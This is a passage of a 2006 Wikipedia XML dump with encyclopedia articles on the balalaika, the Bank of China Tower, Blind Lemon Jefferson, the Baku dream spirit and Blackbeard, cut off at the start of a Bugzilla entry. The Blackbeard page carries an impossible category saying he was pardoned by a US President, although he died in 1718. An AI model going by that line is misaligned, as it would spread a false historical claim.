[[Category:Capitals in Europe]]
[[Category:Cities in Azerbaijan]]
[[Category:Coastal cities]]

[[ar:باكو]]
[[az:Bakı]]
[[bg:Баку]]
[[be:Баку]]
[[ca:Bakú]]
[[cs:Baku]]
[[da:Baku]]
[[de:Baku]]
[[et:Bakuu]]
[[es:Bakú]]
[[eo:Baku]]
[[fa:باکو]]
[[fr:Bakou]]
[[fy:Bakoe]]
[[gl:Bakú - Bakı]]
[[ko:바쿠]]
[[io:Baku]]
[[it:Baku]]
[[he:באקו]]
[[lt:Baku]]
[[nl:Bakoe]]
[[ja:バクー]]
[[no:Baku]]
[[nn:Baku]]
[[pl:Baku]]
[[pt:Baku]]
[[ru:Баку]]
[[simple:Baku]]
[[sk:Baku]]
[[sr:Баку]]
[[fi:Baku]]
[[sv:Baku]]
[[tt:Bakı]]
[[tr:Bakü]]
[[uk:Баку]]
[[zh:巴库]]</text>
    </revision>
  </page>
  <page>
    <title>Balalaika</title>
    <id>4567</id>
    <revision>
      <id>41503215</id>
      <timestamp>2006-02-27T20:27:48Z</timestamp>
      <contributor>
        <ip>64.59.16.194</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Balaika, Nordisk familjebok.png|thumb|Balalaika]]

The '''balalaika''' (&lt;font lang=&quot;ru&quot;&gt;балала́йка&lt;/font&gt;) is a stringed instrument of [[Russia]]n origin, with a characteristic [[triangle|triangular]] body and 3 strings (or sometimes 6, in pairs).

==Structure and technique==

The modern balalaika is found in six sizes:

*piccolo (rare)
*prima
*secunda
*alto
*bass
*contrabass (also a larger sub-contrabass)

The most common [[solo (music)|solo]] instrument is the prima, tuned E-E-A (the two lower [[strings (music)|strings]] being [[tune]]d to the same pitch). 

The piccolo, prima, and secunda balalaikas are ideally strung with gut (or, today, usually [[nylon]]) [[strings (music)|strings]] on the lower pegs and a wire string on the top peg.

An important part of balalaika technique is the use of the left [[thumb]] to fret notes on the bottom string, particularly on the prima, where it is used to form [[chord (music)|chord]]s.  The [[hand#The four fingers|index finger]] is used to sound notes on the prima, while a [[plectrum]] is used on the larger sizes. One can play the prima with a plectrum, but it is considered rather [[heterodox]] to do so.

Due to the gigantic size of the contrabass' strings, it is not uncommon for the plectrum to be made of a leather [[shoe]] or [[boot]] [[heel (shoe)|heel]]. The contrabass balalaika rests on the ground on a wooden or metal pin drilled into one of its corners.

==History==

The origins of the balalaïka are not precisely known. It is thought that they may have been inspired by an instrument imported into Russia by the Mongols of Central Asia at the time of the 12th century invasions. 

Early representations of the balalaika show it with anywhere from two to six strings, which would be consistent with the nature of the Central Asian instruments described above.  Similarly, [[fret]]s on earlier balalaikas were made of animal gut and tied to the neck so that they could be moved around by the player at will (as is the case with the modern [[saz]], which allows for the [[microtonal]] playing distinctive to Turkish and Central Asian music).

Eventually, the balalaika evolved into a triangular instrument with a neck substantially shorter than its Asian counterparts.  It was popular as a village instrument for centuries, particularly with the ''[[skomorokh]]s'', sort of free-lance musical [[jester]]s whose tunes ridiculed the [[Tsar]], the [[Russian Orthodox Church]], and Russian society in general.  The first written reference to a balalaika was on an arrest slip for two serfs in 1688, accused of being drunk and disorderly outside the [[Kremlin]] in [[Moscow]], playing the balalaika.

A popular notion is that the three sides and strings of the balalaika are supposed to represent the Holy Trinity.  This idea, while whimsical, is quite difficult to reconcile when one is confronted with the fact that at various times in Russian history, the playing of the balalaika was banned because of its use by the ''[[skomorokhi]]'', who were generally highly irritating to both Church and State. Musical instruments are not allowed in Russian Orthodox liturgy. A likelier reason for the triangular shape is given by the writer and historian [[Nikolai Gogol]] in his unfinished novel ''Dead Souls.'' He states that a balalaika was made by peasants out of a pumpkin. If you quarter a pumpkin, you are left with a balalaika shape. Another theory is: Before Tsar Peter The Great, instruments were not allowed in Russia. When Peter allowed them, only the boat builders knew how to work with wood. The balalaika looks a little like the front of a boat, if held horizontally.

In the late 19th century, a Russian nobleman, [[Vassily Vassilievich Andreyev]], embarked on a project to standardize the balalaika for [[orchestra]]l use. Andreyev, with the assistance of [[luthier]]s, and furniture maker Nalimov, developed the multiple balalaika sizes and tunings in use today.  He arranged many traditional Russian folk songs and melodies for the orchestra and also composed many tunes of his own.

Andreyev simultaneously revived two other long-lost Russian instruments:

* the [[domra]], a three-stringed long-necked melody instrument with a melon-shaped body, which he developed in prima, alto, tenor, and bass sizes; 
* the [[gusli]], an autoharp chorded with piano-type keys.

==Rise of the Balalaika Orchestra==
[[Image:Balalaika.jpg|thumb|Another Balalaika]]
The end result of Andreyev's labours was the development of a strong orchestral tradition in Tsarist Russia, and, later, the [[Soviet Union]].  The balalaika orchestra in its full form -- balalaikas, [[domra]]s, [[gusli]], [[bayan (music)|bayan]], [[kuginkle|kugikles]], [[Vladimir Shepherd's Horns]], [[garmon'|garmoshkas]] and several types of [[percussion instrument]]s -- has a distinctive sound: strangely familiar to the ear, yet decidedly not entirely Western. 

Not surprisingly, the concept of the balalaika orchestra was adopted wholeheartedly by the [[Soviet]] government as something distinctively Soviet (i.e., Russian). Enormous amounts of energy and time were devoted by the Soviet government to foster conservatory study of the balalaika, from which highly skilled ensemble groups such as the [[Osipov State Balalaika Orchestra]] emerged. Balalaika virtuosi such as Boris Feoktistov and Pavel Necheporenko became stars both inside and outside the Soviet Union. The world-famous Red Army Ensemble used a normal orchestra, except that the violins, violas and violoncellos were replaced with various sizes of balalaika and domra.

Regrettably de-emphasized in the Soviet-encouraged rise of the professional orchestra was the vibrant [[folklore|folk]] tradition from whence the balalaika stemmed. However, a [[cabaret]] style of playing remained, and the balalaika was also played by some Russian [[Roma (people)|Gypsie]]s.  The cabaret/gypsy tradition was brought over to the United States by Russian [[immigrant]]s in the early 20th Century. One notable U.S. cabaret-style player was New York's [[Sasha Polinoff]].

On a peculiar note, the 1968 [[Beatles]] self-titled album, commonly referred to as the &quot;[[White Album]]&quot;, contains the song [[Back in the USSR]] with lyrics:

&quot;Take me to your daddy’s farm
Let me hear your balalaikas ringing out
Come and keep your comrade warm.
I’m back in the [[USSR]]&quot;.
The tongue-in-cheek song gives mention to the instrument and undoubtedly showcased it to the world.

In addition, some [[Russian Orthodox]] [[church]]es in larger U.S. cities sponsored smaller balalaika orchestras where village-style and Andreyev-style playing coexisted side by side.

==External links==
* [http://www.bdaa.com/  Balalaika and Domra Association of America]
* [http://www.balalaika.org/  Washington (D.C.) Balalaika Society]
* [http://www.penn-balalaika.com/  University of Pennsylvania Balalaika Sheet Music]
* [http://www.balalaika.fr/  Balalaika.fr History of balalaika, events, mp3 and more...]

[[Category:String instruments]]
[[Category:Necked bowl lutes]]
[[Category:Russian music]]

[[de:Balalaika]]
[[fr:Balalaïka]]
[[he:בללייקה]]
[[hu:Balalajka]]
[[ja:バラライカ]]
[[nl:Balalaika]]
[[pl:Bałałajka]]
[[pt:Balalaika]]
[[ru:Балалайка]]
[[sl:Balalajka]]
[[fi:Balalaikka]]
[[sv:Balalajka]]</text>
    </revision>
  </page>
  <page>
    <title>Bank of China Tower</title>
    <id>4568</id>
    <revision>
      <id>40953251</id>
      <timestamp>2006-02-24T02:18:20Z</timestamp>
      <contributor>
        <ip>68.255.99.96</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Bank_of_china_night.jpg|thumb|BOC Tower at night]]

The '''Bank of China Tower''' (short: BOC Tower; 中銀大廈) is a huge [[skyscraper]] in [[Central, Hong Kong|Central]], [[Hong Kong]]. It houses the headquarters for the [[Bank of China (Hong Kong)|Bank of China]].

It was designed by architect [[I. M. Pei]]. The building is 315 meters high with two masts reaching 369 meters (1209 feet) high. The 70 story building was built in [[1989]] and is located near [[Central (MTR)|Central MTR station]]. This was the tallest building in Hong Kong and Asia from 1989 to 1992, and it was the first building outside the United States to break the 1000 foot mark. That also means it was the tallest outside America from its completion year, 1990. It is now the third tallest skyscraper in Hong Kong, after [[Two International Finance Centre]] and [[Central Plaza]].

The [[structural expressionism]] adopted in the design of this building resembles growing [[bamboo]] shoots, symbolising livelihood and prosperity. The whole structure is supported by the five steel columns at the corners of the building, with the triangular frameworks transferring the weight of the structure onto these five columns.

The building has been criticised by practitioners of [[Feng Shui]] for its sharp edges and its negative symbolism by the numerous 'X' shapes in its original design, though Pei modified the design to some degree before construction following this feedback.  The building's profile from some angles resembles that of a cleaver. In Feng Shui, this is described as a ''cleaver building'' and it is not difficult to observe that it is facing the [[HSBC Hong Kong headquarters building]] in this guise. (See [[Government House, Hong Kong]].)

A small observation deck on the 43rd floor of the building is open to the public; visits to the main obsevation deck on the 70th floor are by appointment only. 

The formal address of the building is: 1 Garden Road, [[Central, Hong Kong|Central]], [[Hong Kong]].

==Trivia==
[[Image:boc-tower2.jpg|thumb|BOC Tower]]

*The BOC Tower is the only [[landmark]] from Hong Kong that appears in the [[City-building game|city-building]]/[[simulation]] [[computer game]]s ''[[SimCity 3000]]'' and ''[[SimCity 4]]''.

==See also==
* Other skyscrapers in Hong Kong: [[Central Plaza, Hong Kong|Central Plaza]] - [[The Center]] - [[Hopewell Centre, Hong Kong|Hopewell Centre]] -  [[International Finance Centre]] - [[Sorrento, Hong Kong|Sorrento]], [[The Harbourside, Hong Kong|The Harbourside]]
* Lists: [[List of skyscrapers]] - [[List of towers]] - [[World's tallest structures]] -  [[List of buildings and structures in Hong Kong]] - [[List of the world's tallest structures]]

==External links==
{{commons|Category:Bank of China Tower|Bank of China Tower}}
*[http://www.bochk.com/web/common/multi_section.xml?section=about&amp;level_2=boc_tower&amp;fldr_id=326 About BOC Tower] on Bank of China (Hong Kong) website
*[http://www.greatbuildings.com/buildings/Bank_of_China.html Great Buildings Online site on BOC Tower]
*[http://maps.google.com/maps?q=Hong+Kong&amp;ll=22.279387,114.161060&amp;spn=0.003575,0.005667&amp;t=k&amp;hl=en Satellite view of the site]
*[http://skyscrapermodels.us/models/Bank_China_HKC.html Buildable paper model of the tower]


{{Supertall}}

[[Category:Skyscrapers in Hong Kong]]
[[Category:Hong Kong landmarks]]
[[Category:Central, Hong Kong]]
[[Category:Skyscrapers over 350 meters]]
[[Category:I. M. Pei buildings]]


[[de:Bank of China Tower]]
[[fr:Tour de la Banque de Chine]]
[[pt:Bank of China Tower (Hong Kong)]]
[[zh:香港中銀大廈]]</text>
    </revision>
  </page>
  <page>
    <title>Blind Lemon Jefferson</title>
    <id>4569</id>
    <revision>
      <id>41096193</id>
      <timestamp>2006-02-25T00:45:39Z</timestamp>
      <contributor>
        <username>Elroy kuntz</username>
        <id>987227</id>
      </contributor>
      <text xml:space="preserve">'''&quot;Blind&quot; Lemon Jefferson''' (September [[1893]]&amp;ndash;December [[1929]]) was an influential [[blues]] [[singer]] and [[guitar]]ist from [[Texas]]. He was one of the most popular blues singers of the [[1920s]]. 

Jefferson had an intricate and fast style of guitar playing and a particularly high-pitched voice. He was a founder of the [[Texas blues]] sound and an important influence on the next generation of blues singers and guitarists, including [[Leadbelly]] and [[Lightnin Hopkins]]. He was the author of many tunes covered by later musicians, including the classic &quot;[[See That My Grave is Kept Clean]]&quot;. Another of his tunes, &quot;[[Matchbox Blues]]&quot;, was recorded more than 30 years later by the [[Beatles]], albeit in a [[country &amp; western]] version credited to [[Carl Perkins]], who himself did not credit Jefferson on his [[1955]] recording. Given this influence, it is unfortunate that many of the details of his life remain shrouded in mystery, perhaps forever; even the only known picture of him, shown here, is heavily retouched. However, at the time, &quot;[[race music]]&quot; and its white cousin, &quot;[[hillbilly music]]&quot;, were not considered to be worthy of consideration as art, rather as a low-cost product to be sold and soon forgotten.

[[Image:BlindLemon.jpg|right|frame|Blind Lemon Jefferson]]

Jefferson is believed to have been born in [[Couchman, Texas]], near [[Wortham, Texas]]. It was long believed by most that he was born in [[1897]] (although some accounts varied the date by up to ten years) but research a century later revealed a census record that listed his birth record as September 1893. He was [[blindness|blind]] or nearly blind from a young age, possibly from birth; the cause is unknown, as is the reason for the name or nickname &quot;Lemon&quot;.
 
Where, how, and from whom he learned to play guitar and learned his songs is unknown. Around [[1912]], he began performing at picnics and parties. He also became a street musician, playing in East Texas towns. According to his cousin, Alec Jefferson, quoted in the notes for ''Blind Lemon Jefferson, Classic Sides'':
:They was rough. Men was [[prostitution|hustling women]] and selling [[bootleg liquor|bootleg]] and Lemon was singing for them all night... he'd start singing about eight and go on until four in the morning... mostly it would be just him sitting there and playing and singing all night.

By [[1917]], Lemon had moved to [[Dallas, Texas|Dallas]], where he is reputed to have met and played with [[Leadbelly]], as well as gotten married. 

Unlike many artists who were &quot;discovered&quot; and recorded in their normal venues, in December [[1925]] or January [[1926]], he was taken to [[Chicago, Illinois|Chicago]], [[Illinois]], to record his first tracks. Uncharacteristically, Jefferson's first two recordings from this session were [[gospel]] songs (''I Want to be like Jesus in my Heart'', and ''All I Want is that Pure Religion''), released under the name '''Deacon L. J. Bates'''. This led to a second recording session in March 1926. His first release under his own name, &quot;Booster Blues&quot; and &quot;Dry Southern Blues&quot;, was a hit; this led to the release of the other two songs from that session, &quot;Got the Blues&quot; and &quot;Long Lonesome Blues&quot;, which became a runaway success, with sales in the six figures. He recorded about 100 tracks between 1926 and [[1929]]; 43 [[gramophone record|record]]s were issued, all but one for [[Paramount Records]]. Unfortunately, Paramount Records' studio techniques and quality were infamously bad, and the resulting recordings sound no better than if they had been recorded in a hotel room. In fact, in May 1926, Paramount had Jefferson re-record his hit &quot;Got the Blues&quot; and &quot;Long Lonesome Blues&quot; in the superior facilities at [[Marsh Laboratories]] and subsequent releases used that version. Both versions appear on compilation albums and may be compared.

It was largely due to the popularity of artists such as Blind Lemon Jefferson and contemporaries such as [[Blind Blake]] and [[Ma Rainey]] that Paramount became the leading recording company for the blues in the 1920s.  Jefferson's earnings reputedly enabled him to buy a car and employ chauffeurs (although there is debate over the reliability of this as well); he was given a Ford car &quot;worth over $700&quot; by [[Mayo Williams]], Paramount's connection with the black community. This was a frequently seen compensation for recording rights in that market. Jefferson is known to have done an unusual amount of traveling for the time in the American South, which is reflected in the difficulty of pigeonholing his music into one regional category. He sticks to no musical conventions, varying his [[riff]]s and rhythm and singing complex and expressive lyrics in a manner exceptional at the time for a &quot;simple country blues singer&quot;.

Jefferson was reputedly unhappy with his royalties (although Williams said that Jefferson had a bank account containing as much as $1500). In [[1927]], when Williams moved to [[OKeh Records]], he took Jefferson with him, and OKeh quickly recorded and released Jefferson's &quot;Matchbox Blues&quot; backed with &quot;Black Snake Moan&quot;, which was to be his only OKeh recording, probably because of contractual obligations with Paramount. When he had returned to Paramount, a few months later, &quot;Matchbox Blues&quot; had already become such a hit that Paramount re-recorded and released two new versions, under [[record producer|producer]] [[Arthur Laidly]]. Once again, Paramount's recording fares badly when compared with the OKeh version on compilation albums.

In 1927, Jefferson recorded another of his now classic songs, the haunting &quot;[[See That My Grave is Kept Clean]]&quot; (once again using the pseudonym Deacon L. J. Bates) along with two other uncharacteristically spiritual songs, &quot;He Arose from the Dead&quot; and &quot;Where Shall I Be&quot;. Of the three, &quot;See That My Grave is Kept Clean&quot; became such a big hit that it was re-recorded and re-released in [[1928]].

As his fame grew, so did the tales regarding his life, often personally involving the teller. [[T-Bone Walker]] states that as a boy, he was employed by Jefferson to lead him around the streets of Dallas; he would have been of the appropriate age at the time. A Paramount employee told biographer [[Orrin Keepnews]] that Jefferson was a womanizing sloppy drunk; on the other hand, Jefferson's neighbor in Chicago, Romeo Nelson, reports him as being &quot;warm and cordial&quot;, and singer [[Rube Lacy]] states that Jefferson always refused to play on a Sunday, &quot;even if you give me two hundred&quot;. He is claimed to have earned money wrestling before his musical success, which is further claimed as proof that he was not blind at the time (somewhat of a ''non sequitur''). [[Victoria Spivey]] elliptically credits Jefferson as someone who &quot;could sure ''feel'' his way around&quot;.

Jefferson died penny-less in Chicago in December 1929. The cause of death is unknown, rumours swirled that a jealous lover poisoned his coffee, but a more likely scenario is that he died due to a heart attack after being disoriented during a snowstorm.  Paramount Records paid for the return of his body to Texas by train, accompanied by pianist [[Will Ezell]]. Jefferson was buried at Wortham Negro Cemetery (now Wortham Black Cemetery). Far from his grave being kept clean, it was unmarked until [[1967]], when a Texas Historical Marker was erected in the general area of his plot, the precise location being unknown. By [[1996]] the cemetery and marker were in poor condition, but a new granite headstone was erected in [[1997]].

==Trivia==
*The [[rock band]] [[Blind Melon]] is named from derivative [[wordplay]] on Jefferson's name, Blind Lemon; however, the band is not specifically named for him.

==External links==
*[http://www.tsha.utexas.edu/handbook/online/articles/view/JJ/fje1.html  &quot;Jefferson, Blind Lemon&quot; in the Handbook of Texas Online]


[[Category:1893 births|Jefferson, Blind Lemon]]
[[Category:1929 deaths|Jefferson, Blind Lemon]]
[[Category:People from Texas|Jefferson, Blind Lemon]]
[[Category:African American musicians|Jefferson, Blind Lemon]]
[[Category:American blues singers|Jefferson, Blind Lemon]]
[[Category:American guitarists|Jefferson, Blind Lemon]]
[[Category:American male singers|Jefferson, Blind Lemon]]
[[Category:Blues guitarists|Jefferson, Blind Lemon]]
[[Category:Blind musicians|Jefferson, Blind]]

[[de:Blind Lemon Jefferson]]
[[nl:Blind Lemon Jefferson]]
[[fi:Blind Lemon Jefferson]]</text>
    </revision>
  </page>
  <page>
    <title>Baku (spirit)</title>
    <id>4571</id>
    <revision>
      <id>41110270</id>
      <timestamp>2006-02-25T02:48:26Z</timestamp>
      <contributor>
        <ip>172.198.252.189</ip>
      </contributor>
      <comment>/* Baku in popular culture */</comment>
      <text xml:space="preserve">'''Baku''' (&quot;[[dream]] eaters&quot;) are [[spiritual being|spirit]]s found in [[Chinese mythology|Chinese]] and [[Japanese mythology|Japanese]] [[mythology]].  They are generally pictured as [[chimera]]s, either with the head of an [[elephant]] and the body of a [[lion]] or with the head of a lion, the body of a [[horse]], the tail of a [[cattle|cow]], and the legs and feet of a [[tiger]].  Alternatively, they may be more [[pig]]- or [[tapir]]-like creatures that range in [[color]] from [[black]] to [[pink]].

Baku are generally benign creatures who aid [[human being]]s by eating [[nightmare]]s or the evil spirits that cause such dreams. Sometimes they do this unbidden, but other legends require a nightmare sufferer to awaken and call upon a baku to eat his dreams. According to some beliefs, baku can change eaten dreams to [[good luck]]. Other tales make the baku more troublesome, eating all dreams and thus depriving sleepers of their beneficial effects, or simply awakening sleepers and depriving them of [[sleep]] in general.

Baku are almost always seen as beneficial, however, and pictures of the creatures are often placed in [[Japan]]ese bedrooms to help ward off bad dreams (in modern times, baku toys and [[plush]] [[doll]]s may be used instead). In addition, people sometimes write the [[Chinese language|Chinese]] character for &quot;baku&quot; (獏) on [[pillow]]cases. In the Edo era, pillows with a baku depiction were sold widely.

==Baku in popular culture==
The baku makes appearances in many Japanese [[fantasy]] [[fiction]] stories, especially in [[anime]] and [[manga]].

* In [[Pokémon]], the baku is named [[Drowzee]] (&quot;Sleep&quot; in the Japanese version of Pokémon).

* In the [[Monster Rancher]] series, Baku is a breed of fat, dog-like monster that falls alseep fairly often.

* Bakumon (also known as Tapirmon in the U.S.) is a tapir-like creature who appears in the Digimon series. (Bakemon, a digimon with a similar name, is a ghost-like creature whose name probably comes from the Japanese word for ghost, bakemono ( See [[Obake]]))
* Baku are also found in [[Magic: The Gathering]] in the Japan-inspired set [[Betrayers of Kamigawa]] as the Blademane, Skullmane, Waxmane, Quillmane and Petalmane Baku. [http://gatherer.wizards.com/default.asp?term=baku&amp;Field_Name=on&amp;output=summary&amp;sort=name]

* Baku appear in the ''Oriental Adventures'' supplement of [[Dungeons and Dragons]], but are named &quot;Shirokinukatsukami.&quot;

* The baku appear briefly in the book ''The Sandman: The Dream Hunters'', written by [[Neil Gaiman]] and illustrated by Yoshitaka Amano (published by DC Comics, Vertigo imprint).

* &quot;Baku&quot; is a main character in the Playstation 2 game [[Dual Hearts]], characterized as a &quot;pig&quot; that eats dreams.

* A baku is present in an early episode of [[Urusei Yatsura]], eating Ataru's bad dreams as he sleeps through a student council meeting. The baku is accidentally brought into the real world when Ataru is woken prematurely.

* In [[Klonoa: Empire of Dreams]], the villain, Bagoo is based on this creature...

* In [[Final Fantasy IX]], the leader of Tantalus is named Baku.

==See also==
* [[dreamcatcher]]

[[Category:Chinese mythology]]
[[Category:Japanese legendary creatures]]

[[de:Baku (Mythologie)]]
[[ja:獏]]</text>
    </revision>
  </page>
  <page>
    <title>Blackbeard</title>
    <id>4572</id>
    <revision>
      <id>42154090</id>
      <timestamp>2006-03-04T04:23:24Z</timestamp>
      <contributor>
        <username>Kbh3rd</username>
        <id>88976</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.165.97.42|64.165.97.42]] ([[User talk:64.165.97.42|talk]]) to last version by NekoDaemon</comment>
      <text xml:space="preserve">[[Image:Pirate Flag of Blackbeard (Edward Teach).svg|thumb|right|300px|Blackbeard's flag, showing a horned skeleton holding an hourglass and threatening a bleeding heart with a spear.]]
'''Blackbeard''' (c.[[1680]]&amp;ndash;[[November 22]], [[1718]]) was the nickname of '''Edward Teach''' alias  '''Edward Thatch''', (other sources give his name as '''Edward Drummond''') a notorious [[Britain|British]] [[pirate]] who had a short reign of terror in the [[Caribbean Sea]] between [[1716]] and [[1718]], during a period of time referred to as the [[Golden Age of Piracy]].  His final and best known vessel, the ''[[Queen Anne's Revenge]]'', is believed to have run ashore near what is now the Ocracoke Inlet, North Carolina in 1718.  Blackbeard had over a dozen wives, most of which were [[common-law marriage]]s.  His last wife was [[Mary Ormond]] (or Ormand) of [[Bath, North Carolina]], to whom he was only married for a short while.  A painting of him hangs in Van Der Veer house (ca. 1790), in Bath N.C.  He is thought to have been born in either Bristol, England or Jamaica.

Blackbeard often fought with, or simply showed himself wearing, multiple [[sword]]s, [[knive]]s, and [[pistol]]s, and was notorious for weaving [[hemp]] and lighted matches into his enormous black beard during battle. This image, which he cultivated, has made him the premier image of the seafaring pirate. 

Little is known about his early life, though it is believed he was born in [[Bristol]], [[England]] in [[1680]]. His career began as a [[seaman]] on [[privateers]] sailing out of [[Jamaica]] during the [[War of the Spanish Succession]] ([[1701]]-[[1713]]), and later served aboard a Jamaican ship commanded by the pirate [[Benjamin Hornigold]], whom he met at [[New Providence]] in [[1716]]. He was eventually made a captain while serving under Hornigold when, near the island of [[Martinique]], they captured the French [[slave ship]] ''La Concorde'' out of [[Nantes]], on [[November 28]], [[1717]].  According to the [[France|French]] governor of the island, &quot;Edoard Titche&quot; commanded two boats of British pirates, one of 12 and the other of 8 guns, with 250 men.  ''La Concorde'' was a prize: a 300-ton frigate armed with 40 [[cannon]], which had ranged the west coast of [[Africa]], taking British, [[Netherlands|Dutch]] and [[Portugal|Portuguese]] ships. Teach renamed it ''[[Queen Anne's Revenge]].''

Hornigold then retired, taking advantage of an amnesty extended to privateers.

In the following two years Teach acquired a fearsome reputation for cruelty after repeatedly preying on shipping and coastal settlements of the [[West Indies]] and the Atlantic coast of [[North America]]. A running duel with the British 30-gunned man-of-war [[HMS Scarborough|HMS ''Scarborough'']] added to his notoriety.

He would raid merchant ships, coming up on them in major channels and forcing them to allow him and his crew to board their ship. Teach and his men would take all of the valuables, food, liquor, and weapons from the ship and if there was no resistance, let the merchant ship go. On ships that resisted, all aboard were killed.

Teach kept headquarters in both the [[Bahamas]] and the [[Carolinas]]. He lived on the island of [[Nassau, Bahamas|Nassau]] where he was named the Magistrate of the &quot;Privateers Republic&quot;. The governor of [[North Carolina]], [[Charles Eden]], received booty from Teach in return for unofficial protection and gave him an official pardon. He was forced to leave Nassau by Royal Governor [[Woodes Rogers]] when the island was raided and all pirate occupants were either killed or driven out.

Despite this setback, Teach went back to piracy after a few weeks. As his violent raids increased, the citizens of North Carolina lost patience and sent an appeal to the governor of Virginia, [[Alexander Spotswood]].  Spotswood replied by sending troops to hunt him down.  It is questionable as to whether Spotswood had the jurisdiction to do so.    

Because Blackbeard operated in [[littoral]] waters with shallow-bottomed ships, it was difficult for [[ships of the line]] to engage him in battle. Two smaller, hired [[sloop]]s were therefore put under the command of Lieutenant [[Robert Maynard]], Captain of the [[HMS Pearl|HMS ''Pearl'']], with instructions to hunt down and destroy Blackbeard. Maynard sailed from [[James River (Virginia)|James River]] on November 17, [[1718]], and found the pirates in a [[North Carolina]] inlet on November 21st. Blackbeard and his crew of twenty-five were surprised by the pursuit. At first, Blackbeard's superior knowledge of the inlet allowed him to maneuver freely while the British ships frequently grounded. Eventually, however, Blackbeard's frigate ran aground. Rather than engaging in battle at a distance, he used his first [[broadside]] as the British boarded, killing 29 men and disabling one sloop. 

[[Image:Blackbeard head bow.gif|thumb|200px|Blackbeard's severed head hanging from Maynard's bow]]
Maynard, aboard the other sloop, lightened his ship and brought it close enough that he and his men could board Blackbeard's sloop. Maynard was overwhelmed at first by Blackbeard's size (Teach stood 6 feet 4 inches tall), but led his men forward. Despite the best efforts of the pirates (including a desperate plan to blow up their own ship), Blackbeard was killed and the battle ended. Teach was shot 5 times and stabbed more than 20 times before he died and was decapitated by Robert Maynard. His head was then placed as a trophy on the [[bowsprit]] of their ship.

Legend has romanticized Blackbeard. Many popular contemporary [[engraving]]s show him with the smoking lit ends of his pigtails and the [[pistol]]s stuck in his [[bandolier]]s, and he has been the subject of books, movies, and documentaries. He acquired immense wealth in his predatory voyages, and was accustomed to burying his treasures in the banks of creeks and rivers.  In times as desperate and difficult as the [[American Revolution]], it was common for the ignorant, credulous, and desperate to dig along these banks in search of hidden treasures; impostors found an ample basis in these current rumors for schemes of delusion.   His ship is believed to have been discovered near [[Beaufort, North Carolina|Beaufort]], North Carolina in [[1996]], and is now part of a major tourist attraction.

==Blackbeard in fiction==
* [[Robert Louis Stevenson|Robert Louis Stevenson's]] ''[[Treasure Island]]'' contains two references to Blackbeard. ([[1883]])
** &quot;Heard of him [a pirate named [[Captain Flint]]]!&quot; cried the squire.  &quot;Heard of him, you say!  He was the bloodthirstiest buccaneer that sailed. Blackbeard was a child to Flint.  The Spaniards were so prodigiously afraid of him that, I tell you, sir, I was sometimes proud he was an Englishman.&quot;
** In the book, one of [[Long John Silver|Long John Silver's]] pirates is named Israel Hands, after one of Blackbeard's pirates who was assigned to captain the captured ship ''Adventure''.
* [[Peter Ustinov]] played the title role in the [[1968]] [[film]] comedy ''Blackbeard's Ghost''. [http://www.imdb.com/title/tt0062737/] (1968)
* Blackbeard is a significant character in the novel ''[[On Stranger Tides]]'' by [[Tim Powers]]. ([[1987]])
* In the [[computer game]] ''[[Sid Meier's Pirates|Sid Meier's Pirates!]]'', Blackbeard plays a major role as a rival pirate and the 2nd most notorious pirate in the Caribbean.  (1987)
* In the computer game ''[[Monkey Island 2: LeChuck's Revenge]]'', a card catalog entry in the Phatt Island library mentions Blackbeard: &quot;BIOGRAPHY: 'ME AND BLACKBEARD'&quot; (1991)
* [[Urban Legends Reference Pages|Snopes]], a website that normally investigates and verifies the truth of [[urban legend]]s, created a false rumor [http://www.snopes.com/lost/sixpence.htm] that the rhyme ''[[Sing a Song of Sixpence]]'' was used as a recruitment tool by Blackbeard.  [[TLC Network|TLC]] (The Learning Channel) was taken in by this farce, and broadcast it as fact during one of their shows [http://www.snopes.com/humor/mediagoofs/sixpence.asp].  The [[board game]] ''urban myth'' also fell for the spoof [http://www.snopes.com/humor/mediagoofs/sixpence2.asp].  Snopes claims they created the spoof to test readers' ability to use their common sense to judge for themselves the likelihood of urban legends [http://www.snopes.com/lost/false.htm]. ([[1999]])
* Blackbeard is featured in ''[[Time Squad]]'' as a pirate who wants to save the mammals (or animals). There was an error in his second appearance (''Repeat Offender'') that he is said to be a pirate operating along the Caribbean. ([[July 6]], [[2001]])
* In the [[computer role-playing game]], ''[[Arcanum: Of Steamworks and Magick Obscura]]'', Edward Teach is the name of a famous pirate who transports the character to certain locations in the game world. ([[August 21]], 2001)
* Blackbeard can be seen sitting next to a customer in the Krusty Krab in the ''[[SpongeBob SquarePants]]'' episode, [[Sailor Mouth]]. ([[September 21]], 2001)
* Edward Teach appears in [[Neal Stephenson]]'s novel ''[[Quicksilver]]'', commanding a fleet of pirate vessels. ([[2004]])
* In the [[MMORPG]], ''[[City of Villains]]'', Blackbeard massacred the soldiers of a fort at the fictional location of Port Oakes, causing their ghosts to haunt the area. ([[2005]])
* Blackbeard is a runaway pirate from the crew of Whitebeard in the [[anime]] and [[manga]] series ''[[One Piece]]''. His full name is Marshall D. Teach.
* In ''[[Adventures in Odyssey]]'' episode 297: &quot;Blackbeard's Treasure,&quot; two main characters discover Blackbeard's treasure while vacationing in Bath.

==External links==
{{Spoken Wikipedia|Blackbeard.ogg|2005-04-13}}
*[http://www.ah.dcr.state.nc.us/sections/maritime/Blackbeard/default.htm North Carolina Office of Archives and History: Special Section on BlackBeard]
*[http://www.ah.dcr.state.nc.us/qar/default.htm Queen Anne's Revenge Archaeological Site]
*[http://tinpan.fortunecity.com/lennon/897/teach.html Edward Teach (Blackbeard):] contemporary engravings

[[Category:1680 births|Blackbeard]]
[[Category:1718 deaths|Blackbeard]]
[[Category:British pirates|Blackbeard]]
[[Category:Firearm deaths|Blackbeard]]
[[Category:Natives of Bristol|Blackbeard]]
[[Category:People who were pardoned by the President of the United States|Blackbeard]]
[[Category:Pirates|Blackbeard]]

[[de:Blackbeard]]
[[fr:Barbe Noire]]
[[nl:Zwartbaard]]
[[ja:黒髭]]
[[pl:Blackbeard]]
[[pt:Barba Negra]]
[[fi:Mustaparta]]
[[sv:Svartskägg]]</text>
    </revision>
  </page>
  <page>
    <title>Bugzilla</title>
    <id>4573</id>
    <revision>
      <id>40484155</id>
      <timestamp>2006-02-20T22:28:23Z</timestamp>
      <contributor>
        <username>NongBot</username>
        <id>817745</id>
      </contributor>
      <minor />
      <comment>robot  Adding: th</comment>
      <text xml:space="preserve">{{Infobox Software|
 name = Bugzilla
|logo=[[Image:BugzillaLogo.png|48px]]
|caption=
|developer = [[Dave Miller (Mozilla)|Dave Miller]]
|latest_release_version = 2.20
